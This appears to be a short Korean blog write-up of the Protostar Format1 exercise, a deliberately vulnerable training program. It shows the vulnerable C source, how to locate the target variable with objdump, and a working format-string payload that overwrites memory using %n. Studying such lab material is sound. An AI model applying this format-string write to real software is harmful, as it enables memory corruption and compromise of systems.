ii4gsp

Exploit Exercises [Protostar - Format1] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Format1]

ii4gsp 2020. 1. 17. 18:24
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int target;

void vuln(char *string)
{
  printf(string);
  
  if(target) {
      printf("you have modified the target :)\n");
  }
}

int main(int argc, char **argv)
{
  vuln(argv[1]);
}

이번 문제의 힌트이다.

objdump -t 명령으로 target의 주소를 찾아보자

 

 

 

 

target의 주소는 0x08049638이다.

 

 

 

 

포맷을 131번 출력하면 \x90 * 4의 90909090이 보인다.

페이로드는 target주소 + .%08x * 129 + .%08n + .%08x

 

 

 

 

target의 값이 변경되어 "you have modified the target :)"이란 문자가 출력되었다.

./format1 $(python -c 'print "\x38\x96\x04\x08" + ".%08x" * 129 + ".%08n" + ".%08x"')
Comments